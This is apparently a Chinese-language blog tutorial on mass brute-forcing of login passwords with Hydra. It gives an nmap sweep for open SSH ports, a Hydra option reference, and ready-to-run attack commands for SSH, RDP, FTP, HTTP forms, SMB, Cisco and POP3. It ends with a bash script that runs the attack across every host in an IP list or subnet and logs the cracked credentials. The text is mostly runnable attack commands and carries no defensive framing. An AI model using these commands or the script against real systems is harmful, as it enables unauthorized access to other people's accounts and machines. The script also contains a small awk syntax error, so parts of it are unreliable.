使用Hydra批量暴力破解SSH、RDP登录口令
破解环境:Kali 2021.1
使用namp扫描SSH端口开放的主机
nmap -p 22 -n --open 192.168.1.0/24 | grep 192 |awk '{print $5}'
使用Hydra暴力破解
hydra -l root -p ssh_password 192.168.1.103 ssh -vV
#其中-l 指定用户名,-p指定密码,-vV显示详细的执行过程。
hydra -L user.txt -P passwd.txt 192.168.1.103 ssh -t 32 -vV
#其中-L指定用户名字典文件,-P指定密码字典文件,-t指定运行的线程数。
hydra -L user.txt -P passwd.txt 192.168.1.103 ssh -s 222 -t 32 -vV
#其中-s指定端口。
暴力破解:
hydra(九头蛇)
参数:
-R 继续从上一次进度接着破解
-S 大写,采用SSL链接
-s 小写,可通过这个参数指定非默认端口
-l 指定破解的用户,对特定用户破解
-L 指定用户名字典
-p 小写,指定密码破解,少用,一般是采用密码字典
-P 大写,指定密码字典
-e 可选选项,n:空密码试探,s:使用指定用户和密码试探
-C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M 指定目标列表文件一行一条
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t 同时运行的线程数,默认为16
-w 设置最大超时的时间,单位秒,默认是30s
-q 不要打印有关连接错误的消息
-o 指定将结果输出到文件
-v /-V 显示详细过程
各协议的具体命令:
格式+示例:
1、破解ssh:
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp:
hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交,破解web登录:
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP
4、post方式提交,破解web登录:
hydra --L 用户名字典 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.1.1 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"
参数说明:
-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止,
192.168.1.1目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示
5、破解https:
hydra -m /index.php -l muts -P pass.txt 192.168.1.1 https
6、破解teamspeak:
hydra -L 用户名字典 -P 密码字典 -s 端口号 -vV ip teamspeak
7、破解cisco:
hydra -P pass.txt 192.168.1.1 cisco
hydra -m cloud -P pass.txt 192.168.1.1 cisco-enable
8、破解smb:
hydra -L 用户名字典 -P pass.txt 192.168.1.1 smb
9、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
11、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://192.168.1.1
使用Hydra配合脚本批量暴力破解
由于hydra一次只能对一个IP进行破解,因此,在shell中写了一个循环,hydra一次任务结束后,立即进行下一个IP的破解,直到将ssh-output.txt文件中IP遍历完为止。SH脚本代码如下所示:vim hydra.sh
#!/bin/bash
random=$RANDOM
if [ $# -lt 4 ]
then
echo "usage: ./hydra-ssh.sh -u root -p ./passwd.txt -s 22 -x ssh -f ./iplist.txt"
echo "usage: ./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -l 192.168.9.0/24"
exit 1
fi
while [ -n "$1" ]
do
case "$1" in
-u)
user=$2
shift
;;
-p)
passfile=$2
shift
;;
-s)
port=$2
shift
;;
-x)
term=$2
shift
;;
-f)
cat $2 > /tmp/IPaddress-output-$random.txt
shift
;;
-l)
nmap -vv -n -sS -sU -p$port $2 | grep "Discovered open port" | awk 'print $6'} > /tmp/IPaddress-output-$random.txt
shift
;;
*)
echo "$1 is not an option"
echo "usage: ./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -f ./iplist.txt"
echo "usage: ./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -l 192.168.9.0/24"
exit 1
;;
esac
shift
done
echo "-----------Port Scan Finished-----------" >> ./Result-hydra.txt
chmod 666 /tmp/IPaddress-output-$random.txt
cat /tmp/IPaddress-output-$random.txt | while read line
do
echo "Current Task: ${line}" >> ./Result-hydra.txt
hydra -q -l $user -P $passfile -t 4 -vV -s $port $line $term | grep "host:" >> ./Result-hydra.txt
done
echo "-------Password Guessing Finished-------" >> ./Result-hydra.txt
rm -rf /tmp/IPaddress-output-$random.txt
cat ./Result-hydra.txt | grep "host:"
运行程序
./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -f ./iplist.txt
#对文件中的IP进行破解,-u可指定用户名,-x 指定破解什么(ssh/rdp),-s可指定端口号。
./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -l 192.168.1.0/24
#对网段中的IP进行破解,-u可指定用户名,-x 指定破解什么(ssh/rdp),-s可指定端口号。
此处评论已关闭